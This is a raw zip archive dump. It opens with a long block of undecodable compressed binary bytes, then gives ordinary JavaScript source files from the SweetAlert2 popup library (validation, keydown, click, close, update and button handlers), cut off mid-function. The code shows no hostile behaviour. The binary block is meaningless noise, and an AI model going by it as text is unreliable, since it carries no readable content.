_�qB�q��������\8(�Q��jg�>2�Cx�xZH@"����$P��"��(��WHa9���zk�aԮM��ERe�.��zT�+�����@�L�b��K0:J~��,�a��%�z%}Q�T��(ݏIO��:�1�ًdo;��D p��;�A����K0r��)��<̕r�.e��v~f�*�4�~���4�D,�
��[|Vlht_�.*��$˄�A�ڎ��Z��LPk�;M���u�W��ЯM~K����&�^+F�7�p�?�2L&�"w�}@gg��������!Dڔs݄�db.Wh���-�;��j�q�Z�B��y�E�^�Ǭa5A
7��h��7B#�lO�a�@
� �J�9j�W_Dz��ݿ���(}�;�����Ի�'��51@H�$f��/��(�|&�Vyu8[�� �<���節�T���C�5���K��|+�/�y"uQ�&�0����e*}�R���#ϝ��V�y]B�3��xiB�%`n�1�*`j@�w��_��J:�j�ZV�2)��n�D
�>e}�wĈ�����!X�W��^v�C�ǫ�vR�$&���4�nd5D�=�4�C���Ԝx������
��ܨ�����z�C����H��+��Ԙx� '�eE�(0}�0�ھ.��E�U�<�`���X<��1߃����4�LP�/&�� �ґ��uN����۩�P�����ʢ�KW=���1&z����K�^���c�}U�}�S�<,�����D��G��W��!���6M�O���<�<�q�[{x�6'��$���
DN�+�5�`�c�9Ok}y��bxo��"���DU��A���)L�����)��j�V��9G/U���
X���I+�PD^��r�1���d�(��Rr��ro!4m��ܘ壏�O�H�L��f�����@���5;�7jt�j�FhFe.�4
����T�&�	A����]+\�%Ӛ��ɓ�iq�	H$��LB��1�gG���չ{y	�P���w��f�26"�����D-��q��&��yy��]�v�}i��({���?�q�,'��Pj� ��T��Y��Z=K�����'��3���<��P��=@&���A�#\�����%
���.*g�r���
@���ӴV���}�h��둽9_`���M�D҂�9�ؐp(��#>f�'d�	�`��Q?ʨ
 Gv?������9����X�t��8��Ҧ�Z׈�^��4�:.W	���1:?��m�L�ӄ�nfPD�	�"f2 ���T���p�Jߓ�ep�Q�EFyИǤ���"*���ǽ�b��K�"�&1S���&d��]�G|��4*��~NW�ա��c�m�[(��H�i����ʋx=�,E�6�zק��9
���)�)�~�}�ҥT�Fc��8@6r�h%�y�4�[���}�;S���ޫO5'�<둃DǏ�q7c�04��F+�2�2�q�)��`�;A��e����*�T���3.���I~�WU`y�Q����Zi�<X�m�V�MEg_B�y���-l�v/N�G�峏���R8�8�\u��Dw_㮮��6�2�PM��͖5�y*3\ߍР�Zzu�RE��?�G���ښb73lYq�1�kӬԦ��IǴ�v]������z�A����U�ˇ�Nw�$�>!M��eqbg�]%�s��;c���^�?_"#�q�1��U���&|��7\#����M]�m�ZR)��_�N�{@|]�24�1���̘2�Ix��䅦���'q��ۥ��g��RG�ĵf�𘫷x��|��04�X�D��R�x����X�%���׼Q��=���C7�F��bS�����R��m7�c��
��}�{�	���G�+��ix貕��ADu�R7���ۥ�:�5�a���j[��N�dyUl����b����o-!��"WC|���2�L���};�/Sg��!VD��R�&�j4	��hSҠ��t�	ʓ�����-�6(�޾]4&�����9�g#�M�d��#n��-~�$о�z���Lc�WUR(�|�'sט)Q�8kxO00�W4��wP�r����h�
��Dj��.HT9d�T����(���q�����Yr��������~ BI��#��9l�}Q�"����m�d�B^�=^>@6��F��ݠBu��'k���2�Y�7eЈ���X{���1�d��*��2Ȟxpy�Ìr�3H"��=��^����ް�}�
�
�7��#�h����b@$X.~$�<��޹D�
Xs�U;�
f�`�+�^OFX��=uA>�q��~�Xr�ha��U���-�娂m&��7�3����_u�~k��I��М���g�O3������㸎��Rz���_�Z��x�ߵ\S�w��м��r�b��a�Д71��jn���w)b_MDM�F��3��NF3���
��z�\���!��XHͻI�Û;�-A�a-���?�ĥL)��5y9O�^�&T$3�u�n�&]}0���)D;!�B�B��.�!�O��I
:j]4$���ÏG|��m\�������<�,83oW:A���.	"^r跒ݖ�S�)�ޅH�x)<[�J��aVd�{���Z�����Vs%̢O�Z�{�P#�҄Y\������?r%k���S��m~��ړ�3��[&��껹5�SP��5{*��C����)��,U��Sf��I�z�9N�ʫV&�����
���6Ns�o��0Pow��:]�Vγ�_BUN]�6Co�Ů��
�^Re�H�'�J��t8�7}��9�����+�P���QR�����}��x�&X�D#O��ja�����^d��y$q�,9t���
���/��NN��t�;c>���z��h�H�m�E/o�f>���4�h�+b�_qʎ�����gX�V��ʤ����ߙ���As�jC
R�:�_1��b�4��Q��v�����
j]Vŝ�^i<�o�/?��E�3��X�*�
�o`�rb��"��0���Ť�D��;{���o."�!W,�[fM�\� C|2v�UNS��>������KĶ��αPC�
}����FK�����)�V�0��$��5v��HG�m�"vq2���x�Po0u`�6�BI�y��~��-�zb!�Z'�l
�2�\�o�E.����[F�U���1�ȁW�G�'�9C��PSܟ�h�09x7nd���gY
�ަ��x�N������V��y<<�L{9����5�#�Ȕ��кg�1ȳS�1�[k:�ٍ}���>���8ea~U�XY���\�4��[%�J�8�ok4��2�Nω���w����/�y1�x��k�/]
�=ǶHwѦ�
�,˛��-K���3��Pz/�ժ�#6�T�K�3�ׯm��L;`�3�IH{�-kK�'��|�`�r�-�gW}�e���j��*u�5'ز��[�3+���I����"��n̥����}���D�?�:g�i��j<O�ql�jRO4��l�/T�U����Е�Փi�j謫G�B��P�p#b��Y�T<�� z�7%O��‘��fQ�훮�!=�~���2^aw�{���Sϛ"�����)�6���O]���y2����֏��"}Lм������r*\[��e?uۑ}�'ѓ�
��#�Y#��P�T���bV��D?���.$��.�XYo͖gb`]#�6A��1��*z�?�"�a��ھ��i������h� t�扳�v���؜z����$�Fi6�������!~�t�+1��7�tp��^ȉk�����5�T��9��4��Š�߇ŪN����u�����?M�L�G�C~�D�.�`�?��o��RB�̌ <ޭM�Q���c|;ꦬgh{����B�Yju[���T; ̜<_T:���V� �|�Ͻ.Y���SNLC'�,M�ZXA/�w�H)7ůPb���8�ϕ��C�>%84V��ުR6�Pϕ�)�/=yBR�
v�����p>���,��r#�PW�Io!��M�i������5�� ۖ�';7@k�K���bG��(��0":VP%);5I>TT_�[�KƩ�b��f}/~�EԷ��8��d4s���P0��s:j����?	s�$�����oP[����x�*�8>~�4���lLԨ���(���A�ˋ"J�����d~�T@�&�DD��-]�3L���]��
{��D>��SDۜ���#v�ǵ�*����|λ�j=�y:y;	�L0�P�z�r<��,��}�}�V:1|*ݢ��x�؍�LMa�
���ZjqSR�u"���[�e����
ы�_f�5֠���r�9	�{�fo�����%�w�>��ݴ�C2wu'�%�E:rT���Z[X۹�i%��"˟��L��Jd�n��q ��t:Jp�e7��r@��9�amR�n%W����؟Qn����r\G�$��V��>�8D{n�!�mn�c��K�L��C�G��޹oʕpս�!WI ��~��j/�5o��GQ�ѻ?/.R���7D�c�̒�$��ܸVTy�mQgK~w�|	+���r�G�%qY!?b�|B^l,ŋ��o��#o����R��	LT:'X���g`��7�~�Q�`�w�|��bЌ�(��G��|�G�?�ե�KNOm�˸]p�
��0��������N��jB���n�1�Ǘo����^��{�J{�M�i�o�{��oI��v�_w���"5	���?��O��7���/��_/��:)�T��f�Uݐ���#�.e��皍�ڝ��0�Iӳ|I+l�]V��h��Rt�M�$�.�=S8|L�DQB�U8��iw�X~f�̷�Aa�a
��Pӷ�Nvje��{V'>�$���j;���sE}���(W��2B�3&\�}!:؛�3�OL�O��l����C�m`aP�u-�L��1?ulO\�B�x^�Ƕ�ig�U���;��l���[1���;�N���-vN��C��U�i!{��D(�������p��Ł����/&Q]Z%�B"�I�T!6�8,� ������
�K���/�x�B��o��]�%�����‰c	#��Z���@�[�|��������m��M��`i@��a�v"ȗ�NT�x�>�;Cje@��~�*w��b���ݯ��[�^Y�X��N��T��S�i��n��R���E��-I��Ջ\����P�o�3�'mp����h�Y}�ǥ0t2-l4㯎.*�4���P��ύ�R��,�x,T>0z����8��R���#�KGrz�?i��VJ�+ܱhgռ�gl�JS��Y\�ՒS�&m���-]���m����
�'w��}B����#�����RI53��5�
�Jc�-
y��|G4v3J 
����;i��Nj�}_P��H��)6����Z�ԗU%Qo,��g�&6��2
w�$�����&z�sBHô"N�B,�PB�y�����~��[��ER=���e���w�fR�uۿ7���Np�eG#�ȉ-^"@���ͻ�L+-m�N�в$���
�@`{e�դO��fqPQϐ<z*�_@��y3Y�$f,͍��
����O����r}6p+R���i��6�ڟ�":�:@�&����Ղ�'�[)z�{��/~�j';9�zܛ֢m����r�:��P�;;P(�M�v�OH0�x�m���!I���m���j�3�Y01`#yfc�3og�8��S�&
v
��ك�ܾ̇ͣ���^ݬm���i��rf"�E�@��	��Z��TA��=�oEE�������%�]�<}n��X����n�\�;z�}*g�ȹ�	���g�諍z��Y�D�n�]�^��!nۗd������l�~�<�quǚ�����ʗ��1��/��4g��2�fg�$�,-f�
�о�
��ʋ'lFLn�ӧ9�
I�I�x�f���iW�-��A4~�&rմ�\"�L�|7��-���w'�B͵�4���'-����e-��+���0w�-�o]��1#g=�e�q�h��͗�[,�K�JR���-����S��e9��D	+�ܳ��陳%���͘_��[�����U�sIC|a�B
�p�}g�!K�u�vU>�+W�k���VdE��RNz���i/�r�ts_�t�Ҟ������TP�<�";}8���Ϟ�s�T���}�+�y���;mi��t��']�v��'5�D�Y�niu�Q�CT|ʹ~����h��C�|����W�}\�d����a^��J���ҍ޸Ծ4���hs��;0YZPK"��\"�Y�"".instanceMethods/show-reset-validation-error.jsnu�[���import * as dom from '../utils/dom/index.js'
import { swalClasses } from '../utils/classes.js'
import privateProps from '../privateProps.js'

// Show block with validation message
export function showValidationMessage (error) {
  const domCache = privateProps.domCache.get(this)
  dom.setInnerHtml(domCache.validationMessage, error)
  const popupComputedStyle = window.getComputedStyle(domCache.popup)
  domCache.validationMessage.style.marginLeft = `-${popupComputedStyle.getPropertyValue('padding-left')}`
  domCache.validationMessage.style.marginRight = `-${popupComputedStyle.getPropertyValue('padding-right')}`
  dom.show(domCache.validationMessage)

  const input = this.getInput()
  if (input) {
    input.setAttribute('aria-invalid', true)
    input.setAttribute('aria-describedBy', swalClasses['validation-message'])
    dom.focusInput(input)
    dom.addClass(input, swalClasses.inputerror)
  }
}

// Hide block with validation message
export function resetValidationMessage () {
  const domCache = privateProps.domCache.get(this)
  if (domCache.validationMessage) {
    dom.hide(domCache.validationMessage)
  }

  const input = this.getInput()
  if (input) {
    input.removeAttribute('aria-invalid')
    input.removeAttribute('aria-describedBy')
    dom.removeClass(input, swalClasses.inputerror)
  }
}
PK"��\Np��instanceMethods/_destroy.jsnu�[���import globalState from '../globalState.js'
import privateProps from '../privateProps.js'
import privateMethods from '../privateMethods.js'

export function _destroy () {
  const domCache = privateProps.domCache.get(this)
  const innerParams = privateProps.innerParams.get(this)

  if (!innerParams) {
    return // This instance has already been destroyed
  }

  // Check if there is another Swal closing
  if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
    globalState.swalCloseEventFinishedCallback()
    delete globalState.swalCloseEventFinishedCallback
  }

  // Check if there is a swal disposal defer timer
  if (globalState.deferDisposalTimer) {
    clearTimeout(globalState.deferDisposalTimer)
    delete globalState.deferDisposalTimer
  }

  runDidDestroy(innerParams)

  disposeSwal(this)
}

const runDidDestroy = (innerParams) => {
  if (typeof innerParams.didDestroy === 'function') {
    innerParams.didDestroy()
  } else if (typeof innerParams.onDestroy === 'function') {
    innerParams.onDestroy() // @deprecated
  }
}

const disposeSwal = (instance) => {
  // Unset this.params so GC will dispose it (#1569)
  delete instance.params
  // Unset globalState props so GC will dispose globalState (#1569)
  delete globalState.keydownHandler
  delete globalState.keydownTarget
  // Unset WeakMaps so GC will be able to dispose them (#1569)
  unsetWeakMaps(privateProps)
  unsetWeakMaps(privateMethods)
}

const unsetWeakMaps = (obj) => {
  for (const i in obj) {
    obj[i] = new WeakMap()
  }
}
PK"��\P�/��	�	&instanceMethods/popup-click-handler.jsnu�[���import { callIfFunction } from '../utils/utils.js'
import { DismissReason } from '../utils/DismissReason.js'
import privateProps from '../privateProps.js'

export const handlePopupClick = (instance, domCache, dismissWith) => {
  const innerParams = privateProps.innerParams.get(instance)
  if (innerParams.toast) {
    handleToastClick(instance, domCache, dismissWith)
  } else {
    // Ignore click events that had mousedown on the popup but mouseup on the container
    // This can happen when the user drags a slider
    handleModalMousedown(domCache)

    // Ignore click events that had mousedown on the container but mouseup on the popup
    handleContainerMousedown(domCache)

    handleModalClick(instance, domCache, dismissWith)
  }
}

const handleToastClick = (instance, domCache, dismissWith) => {
  // Closing toast by internal click
  domCache.popup.onclick = () => {
    const innerParams = privateProps.innerParams.get(instance)
    if (
      innerParams.showConfirmButton ||
      innerParams.showDenyButton ||
      innerParams.showCancelButton ||
      innerParams.showCloseButton ||
      innerParams.input
    ) {
      return
    }
    dismissWith(DismissReason.close)
  }
}

let ignoreOutsideClick = false

const handleModalMousedown = (domCache) => {
  domCache.popup.onmousedown = () => {
    domCache.container.onmouseup = function (e) {
      domCache.container.onmouseup = undefined
      // We only check if the mouseup target is the container because usually it doesn't
      // have any other direct children aside of the popup
      if (e.target === domCache.container) {
        ignoreOutsideClick = true
      }
    }
  }
}

const handleContainerMousedown = (domCache) => {
  domCache.container.onmousedown = () => {
    domCache.popup.onmouseup = function (e) {
      domCache.popup.onmouseup = undefined
      // We also need to check if the mouseup target is a child of the popup
      if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
        ignoreOutsideClick = true
      }
    }
  }
}

const handleModalClick = (instance, domCache, dismissWith) => {
  domCache.container.onclick = (e) => {
    const innerParams = privateProps.innerParams.get(instance)
    if (ignoreOutsideClick) {
      ignoreOutsideClick = false
      return
    }
    if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
      dismissWith(DismissReason.backdrop)
    }
  }
}
PK"��\��p���"instanceMethods/keydown-handler.jsnu�[���import * as dom from '../utils/dom/index.js'
import { DismissReason } from '../utils/DismissReason.js'
import { callIfFunction } from '../utils/utils.js'
import { clickConfirm } from '../staticMethods/dom.js'
import privateProps from '../privateProps.js'

export const addKeydownHandler = (instance, globalState, innerParams, dismissWith) => {
  if (globalState.keydownTarget && globalState.keydownHandlerAdded) {
    globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, { capture: globalState.keydownListenerCapture })
    globalState.keydownHandlerAdded = false
  }

  if (!innerParams.toast) {
    globalState.keydownHandler = (e) => keydownHandler(instance, e, dismissWith)
    globalState.keydownTarget = innerParams.keydownListenerCapture ? window : dom.getPopup()
    globalState.keydownListenerCapture = innerParams.keydownListenerCapture
    globalState.keydownTarget.addEventListener('keydown', globalState.keydownHandler, { capture: globalState.keydownListenerCapture })
    globalState.keydownHandlerAdded = true
  }
}

// Focus handling
export const setFocus = (innerParams, index, increment) => {
  const focusableElements = dom.getFocusableElements()
  // search for visible elements and select the next possible match
  for (let i = 0; i < focusableElements.length; i++) {
    index = index + increment

    // rollover to first item
    if (index === focusableElements.length) {
      index = 0

      // go to last item
    } else if (index === -1) {
      index = focusableElements.length - 1
    }

    return focusableElements[index].focus()
  }
  // no visible focusable elements, focus the popup
  dom.getPopup().focus()
}

const arrowKeysNextButton = [
  'ArrowRight', 'ArrowDown',
  'Right', 'Down' // IE11
]

const arrowKeysPreviousButton = [
  'ArrowLeft', 'ArrowUp',
  'Left', 'Up' // IE11
]

const escKeys = [
  'Escape',
  'Esc' // IE11
]

const keydownHandler = (instance, e, dismissWith) => {
  const innerParams = privateProps.innerParams.get(instance)

  if (innerParams.stopKeydownPropagation) {
    e.stopPropagation()
  }

  // ENTER
  if (e.key === 'Enter') {
    handleEnter(instance, e, innerParams)

  // TAB
  } else if (e.key === 'Tab') {
    handleTab(e, innerParams)

  // ARROWS - switch focus between buttons
  } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(e.key)) {
    handleArrows(e.key)

  // ESC
  } else if (escKeys.includes(e.key)) {
    handleEsc(e, innerParams, dismissWith)
  }
}

const handleEnter = (instance, e, innerParams) => {
  // #720 #721
  if (e.isComposing) {
    return
  }

  if (e.target && instance.getInput() && e.target.outerHTML === instance.getInput().outerHTML) {
    if (['textarea', 'file'].includes(innerParams.input)) {
      return // do not submit
    }

    clickConfirm()
    e.preventDefault()
  }
}

const handleTab = (e, innerParams) => {
  const targetElement = e.target

  const focusableElements = dom.getFocusableElements()
  let btnIndex = -1
  for (let i = 0; i < focusableElements.length; i++) {
    if (targetElement === focusableElements[i]) {
      btnIndex = i
      break
    }
  }

  if (!e.shiftKey) {
    // Cycle to the next button
    setFocus(innerParams, btnIndex, 1)
  } else {
    // Cycle to the prev button
    setFocus(innerParams, btnIndex, -1)
  }
  e.stopPropagation()
  e.preventDefault()
}

const handleArrows = (key) => {
  const confirmButton = dom.getConfirmButton()
  const denyButton = dom.getDenyButton()
  const cancelButton = dom.getCancelButton()
  if (![confirmButton, denyButton, cancelButton].includes(document.activeElement)) {
    return
  }
  const sibling = arrowKeysNextButton.includes(key) ? 'nextElementSibling' : 'previousElementSibling'
  const buttonToFocus = document.activeElement[sibling]
  if (buttonToFocus) {
    buttonToFocus.focus()
  }
}

const handleEsc = (e, innerParams, dismissWith) => {
  if (callIfFunction(innerParams.allowEscapeKey)) {
    e.preventDefault()
    dismissWith(DismissReason.esc)
  }
}
PK"��\E�x��instanceMethods/getInput.jsnu�[���import * as dom from '../utils/dom/index.js'
import privateProps from '../privateProps.js'

// Get input element by specified type or, if type isn't specified, by params.input
export function getInput (instance) {
  const innerParams = privateProps.innerParams.get(instance || this)
  const domCache = privateProps.domCache.get(instance || this)
  if (!domCache) {
    return null
  }
  return dom.getInput(domCache.content, innerParams.input)
}
PK"��\�N:{��instanceMethods/update.jsnu�[���import * as dom from '../../src/utils/dom/index.js'
import { warn } from '../../src/utils/utils.js'
import sweetAlert from '../sweetalert2.js'
import privateProps from '../privateProps.js'

/**
 * Updates popup parameters.
 */
export function update (params) {
  const popup = dom.getPopup()
  const innerParams = privateProps.innerParams.get(this)

  if (!popup || dom.hasClass(popup, innerParams.hideClass.popup)) {
    return warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`)
  }

  const validUpdatableParams = {}

  // assign valid params from `params` to `defaults`
  Object.keys(params).forEach(param => {
    if (sweetAlert.isUpdatableParameter(param)) {
      validUpdatableParams[param] = params[param]
    } else {
      warn(`Invalid parameter to update: "${param}". Updatable params are listed here: https://github.com/sweetalert2/sweetalert2/blob/master/src/utils/params.js\n\nIf you think this parameter should be updatable, request it here: https://github.com/sweetalert2/sweetalert2/issues/new?template=02_feature_request.md`)
    }
  })

  const updatedParams = Object.assign({}, innerParams, validUpdatableParams)

  dom.render(this, updatedParams)

  privateProps.innerParams.set(this, updatedParams)
  Object.defineProperties(this, {
    params: {
      value: Object.assign({}, this.params, params),
      writable: false,
      enumerable: true
    }
  })
}
PK"��\$1k�44instanceMethods/_main.jsnu�[���import defaultParams, { showWarningsForParams } from '../utils/params.js'
import * as dom from '../utils/dom/index.js'
import { swalClasses } from '../utils/classes.js'
import Timer from '../utils/Timer.js'
import { callIfFunction } from '../utils/utils.js'
import setParameters from '../utils/setParameters.js'
import globalState from '../globalState.js'
import { openPopup } from '../utils/openPopup.js'
import privateProps from '../privateProps.js'
import privateMethods from '../privateMethods.js'
import { handleInputOptionsAndValue } from '../utils/dom/inputUtils.js'
import { handleConfirmButtonClick, handleDenyButtonClick, handleCancelButtonClick } from './buttons-handlers.js'
import { addKeydownHandler, setFocus } from './keydown-handler.js'
import { handlePopupClick } from './popup-click-handler.js'
import { DismissReason } from '../utils/DismissReason.js'

export function _main (userParams) {
  showWarningsForParams(userParams)

  if (globalState.currentInstance) {
    globalState.currentInstance._destroy()
  }
  globalState.currentInstance = this

  const innerParams = prepareParams(userParams)
  setParameters(innerParams)
  Object.freeze(innerParams)

  // clear the previous timer
  if (globalState.timeout) {
    globalState.timeout.stop()
    delete globalState.timeout
  }

  // clear the restore focus timeout
  clearTimeout(globalState.restoreFocusTimeout)

  const domCache = populateDomCache(this)

  dom.render(this, innerParams)

  privateProps.innerParams.set(this, innerParams)

  return swalPromise(this, domCache, innerParams)
}

const prepareParams = (userParams) => {
  const showClass = Object.assign({}, defaultParams.showClass, userParams.showClass)
  const hideClass = Object.assign({}, defaultParams.hideClass, userParams.hideClass)
  const params = Object.assign({}, defaultParams, userParams)
  params.showClass = showClass
  params.hideClass = hideClass
  // @deprecated
  if (userParams.animation === false) {
    params.showClass = {
      popup: 'swal2-noanimation',
      backdrop: 'swal2-noanimation'
    }
    params.hideClass = {}
  }
  return params
}

const swalPromise = (instance, domCache, innerParams) => {
  return new Promise((resolve) => {
    // functions to handle all closings/dismissals
    const dismissWith = (dismiss) => {
      instance.closePopup({ isDismissed: true, dismiss })
    }

    privateMethods.swalPromiseResolve.set(instance, resolve)

    domCache.confirmButton.onclick = () => handleConfirmButtonClick(instance, innerParams)
    domCache.denyButton.onclick = () => handleDenyButtonClick(instance)
    domCache.cancelButton.onclick = () => handleCancelButtonClick(instance, dismissWith)

    domCache.closeButton.onclick = () => dismissWith(DismissReason.close)

    handlePopupClick(instance, domCache, dismissWith)

    addKeydownHandler(instance, globalState, innerParams, dismissWith)

    if (innerParams.toast && (innerParams.input || innerParams.footer || innerParams.showCloseButton)) {
      dom.addClass(document.body, swalClasses['toast-column'])
    } else {
      dom.removeClass(document.body, swalClasses['toast-column'])
    }

    handleInputOptionsAndValue(instance, innerParams)

    openPopup(innerParams)

    setupTimer(globalState, innerParams, dismissWith)

    initFocus(domCache, innerParams)

    // Scroll container to top on open (#1247, #1946)
    setTimeout(() => {
      domCache.container.scrollTop = 0
    })
  })
}

const populateDomCache = (instance) => {
  const domCache = {
    popup: dom.getPopup(),
    container: dom.getContainer(),
    content: dom.getContent(),
    actions: dom.getActions(),
    confirmButton: dom.getConfirmButton(),
    denyButton: dom.getDenyButton(),
    cancelButton: dom.getCancelButton(),
    loader: dom.getLoader(),
    closeButton: dom.getCloseButton(),
    validationMessage: dom.getValidationMessage(),
    progressSteps: dom.getProgressSteps()
  }
  privateProps.domCache.set(instance, domCache)

  return domCache
}

const setupTimer = (globalState, innerParams, dismissWith) => {
  const timerProgressBar = dom.getTimerProgressBar()
  dom.hide(timerProgressBar)
  if (innerParams.timer) {
    globalState.timeout = new Timer(() => {
      dismissWith('timer')
      delete globalState.timeout
    }, innerParams.timer)
    if (innerParams.timerProgressBar) {
      dom.show(timerProgressBar)
      setTimeout(() => {
        if (globalState.timeout.running) { // timer can be already stopped at this point
          dom.animateTimerProgressBar(innerParams.timer)
        }
      })
    }
  }
}

const initFocus = (domCache, innerParams) => {
  if (innerParams.toast) {
    return
  }

  if (!callIfFunction(innerParams.allowEnterKey)) {
    return blurActiveElement()
  }

  if (!focusButton(domCache, innerParams)) {
    setFocus(innerParams, -1, 1)
  }
}

const focusButton = (domCache, innerParams) => {
  if (innerParams.focusDeny && dom.isVisible(domCache.denyButton)) {
    domCache.denyButton.focus()
    return true
  }

  if (innerParams.focusCancel && dom.isVisible(domCache.cancelButton)) {
    domCache.cancelButton.focus()
    return true
  }

  if (innerParams.focusConfirm && dom.isVisible(domCache.confirmButton)) {
    domCache.confirmButton.focus()
    return true
  }

  return false
}

const blurActiveElement = () => {
  if (document.activeElement && typeof document.activeElement.blur === 'function') {
    document.activeElement.blur()
  }
}
PK"��\��o3instanceMethods/close.jsnu�[���import { undoScrollbar } from '../utils/scrollbarFix.js'
import { undoIOSfix } from '../utils/iosFix.js'
import { undoIEfix } from '../utils/ieFix.js'
import { unsetAriaHidden } from '../utils/aria.js'
import * as dom from '../utils/dom/index.js'
import { swalClasses } from '../utils/classes.js'
import globalState, { restoreActiveElement } from '../globalState.js'
import privateProps from '../privateProps.js'
import privateMethods from '../privateMethods.js'

/*
 * Instance method to close sweetAlert
 */

function removePopupAndResetState (instance, container, isToast, didClose) {
  if (isToast) {
    triggerDidCloseAndDispose(instance, didClose)
  } else {
    restoreActiveElement().then(() => triggerDidCloseAndDispose(instance, didClose))
    globalState.keydownTarget.removeEventListener('keydown', globalState.keydownHandler, { capture: globalState.keydownListenerCapture })
    globalState.keydownHandlerAdded = false
  }

  if (container.parentNode && !document.body.getAttribute('data-swal2-queue-step')) {
    container.parentNode.removeChild(container)
  }

  if (dom.isModal()) {
    undoScrollbar()
    undoIOSfix()
    undoIEfix()
    unsetAriaHidden()
  }

  removeBodyClasses()
}

function removeBodyClasses () {
  dom.removeClass(
    [document.documentElement, document.body],
    [
      swalClasses.shown,
      swalClasses['height-auto'],
      swalClasses['no-backdrop'],
      swalClasses['toast-shown'],
      swalClasses['toast-column']
    ]
  )
}

export function close (resolveValue) {
  const popup = dom.getPopup()

  if (!popup) {
    return
  }

  resolveValue = prepareResolveValue(resolveValue)

  const innerParams = privateProps.innerParams.get(this)
  if (!innerParams || dom.hasClass(popup, innerParams.hideClass.popup)) {
    return
  }
  const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this)

  dom.removeClass(popup, innerParams.showClass.popup)
  dom.addClass(popup, innerParams.hideClass.popup)

  const backdrop = dom.getContainer()
  dom.removeClass(backdrop, innerParams.showClass.backdrop)
  dom.addClass(backdrop, innerParams.hideClass.backdrop)

  handlePopupAnimation(this, popup, innerParams)

  // Resolve Swal promise
  swalPromiseResolve(resolveValue)
}

const prepareResolveValue = (resolveValue) => {
  // When user calls Swal.close()
  if (typeof resolveValue === 'undefined') {
    return {
      isConfirmed: false,
      isDenied: false,
      isDismissed: true,
    }
  }

  return Object.assign({
    isConfirmed: false,
    isDenied: false,
    isDismissed: false,
  }, resolveValue)
}

const handlePopupAnimation = (instance, popup, innerParams) => {
  const container = dom.getContainer()
  // If animation is supported, animate
  const animationIsSupported = dom.animationEndEvent && dom.hasCssAnimation(popup)

  const {
    onClose, onAfterClose, // @deprecated
    willClose, didClose
  } = innerParams

  runDidClose(popup, willClose, onClose)

  if (animationIsSupported) {
    animatePopup(instance, popup, container, didClose || onAfterClose)
  } else {
    // Otherwise, remove immediately
    removePopupAndResetState(instance, container, dom.isToast(), didClose || onAfterClose)
  }
}

const runDidClose = (popup, willClose, onClose) => {
  if (willClose !== null && typeof willClose === 'function') {
    willClose(popup)
  } else if (onClose !== null && typeof onClose === 'function') {
    onClose(popup) // @deprecated
  }
}

const animatePopup = (instance, popup, container, didClose) => {
  globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, dom.isToast(), didClose)
  popup.addEventListener(dom.animationEndEvent, function (e) {
    if (e.target === popup) {
      globalState.swalCloseEventFinishedCallback()
      delete globalState.swalCloseEventFinishedCallback
    }
  })
}

const triggerDidCloseAndDispose = (instance, didClose) => {
  setTimeout(() => {
    if (typeof didClose === 'function') {
      didClose()
    }
    instance._destroy()
  })
}

export {
  close as closePopup,
  close as closeModal,
  close as closeToast
}
PK"��\��D��*instanceMethods/enable-disable-elements.jsnu�[���import privateProps from '../privateProps.js'

function setButtonsDisabled (instance, buttons, disabled) {
  const domCache = privateProps.domCache.get(instance)
  buttons.forEach(button => {
    domCache[button].disabled = disabled
  })
}

function setInputDisabled (input, disabled) {
  if (!input) {
    return false
  }
  if (input.type === 'radio') {
    const radiosContainer = input.parentNode.parentNode
    const radios = radiosContainer.querySelectorAll('input')
    for (let i = 0; i < radios.length; i++) {
      radios[i].disabled = disabled
    }
  } else {
    input.disabled = disabled
  }
}

export function enableButtons () {
  setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], false)
}

export function disableButtons () {
  setButtonsDisabled(this, ['confirmButton', 'denyButton', 'cancelButton'], true)
}

export function enableInput () {
  return setInputDisabled(this.getInput(), false)
}

export function disableInput () {
  return setInputDisabled(this.getInput(), true)
}
PK"��\����!instanceMethods/progress-steps.jsnu�[���import privateProps from '../privateProps.js'

export function getProgressSteps () {
  const domCache = privateProps.domCache.get(this)
  return domCache.progressSteps
}
PK"��\l�b���instanceMethods/hideLoading.jsnu�[���import * as dom from '../utils/dom/index.js'
import { swalClasses } from '../utils/classes.js'
import privateProps from '../privateProps.js'

/**
 * Enables buttons and hide loader.
 */
function hideLoading () {
  // do nothing if popup is closed
  const innerParams = privateProps.innerParams.get(this)
  if (!innerParams) {
    return
  }
  const domCache = privateProps.domCache.get(this)
  dom.hide(domCache.loader)
  if (innerParams.showConfirmButton) {
    dom.show(domCache.confirmButton)
  } else if (!innerParams.showConfirmButton && !innerParams.showCancelButton) {
    dom.hide(domCache.actions)
  }
  dom.removeClass([domCache.popup, domCache.actions], swalClasses.loading)
  domCache.popup.removeAttribute('aria-busy')
  domCache.popup.removeAttribute('data-loading')
  domCache.confirmButton.disabled = false
  domCache.denyButton.disabled = false
  domCache.cancelButton.disabled = false
}

export {
  hideLoading,
  hideLoading as disableLoading
}
PK"��\�L�HR
R
#instanceMethods/buttons-handlers.jsnu�[���import { isVisible } from '../utils/dom/domUtils.js'
import { getInputValue } from '../utils/dom/inputUtils.js'
import { getValidationMessage } from '../utils/dom/getters.js'
import { asPromise } from '../utils/utils.js'
import { showLoading } from '../staticMethods/showLoading.js'
import { DismissReason } from '../utils/DismissReason.js'

export const handleConfirmButtonClick = (instance, innerParams) => {
  instance.disableButtons()
  if (innerParams.input) {
    handleConfirmWithInput(instance, innerParams)
  } else {
    confirm(instance, innerParams, true)
  }
}

export const handleDenyButtonClick = (instance) => {
  instance.disableButtons()
  // here we could add preDeny in future, if needed
  deny(instance)
}

export const handleCancelButtonClick = (instance, dismissWith) => {
  instance.disableButtons()
  dismissWith(DismissReason.cancel)
}

const handleConfirmWithInput = (instance, innerParams) => {
  const inputValue = getInputValue(instance, innerParams)

  if (innerParams.inputValidator) {
    instance.disableInput()
    const validationPromise = Promise.resolve().then(() => asPromise(
      innerParams.inputValidator(inputValue, innerParams.validationMessage))
    )
    validationPromise.then(
      (validationMessage) => {
        instance.enableButtons()
        instance.enableInput()
        if (validationMessage) {
          instance.showValidationMessage(validationMessage)
        } else {
          confirm(instance, innerParams, inputValue)
        }
      }
    )
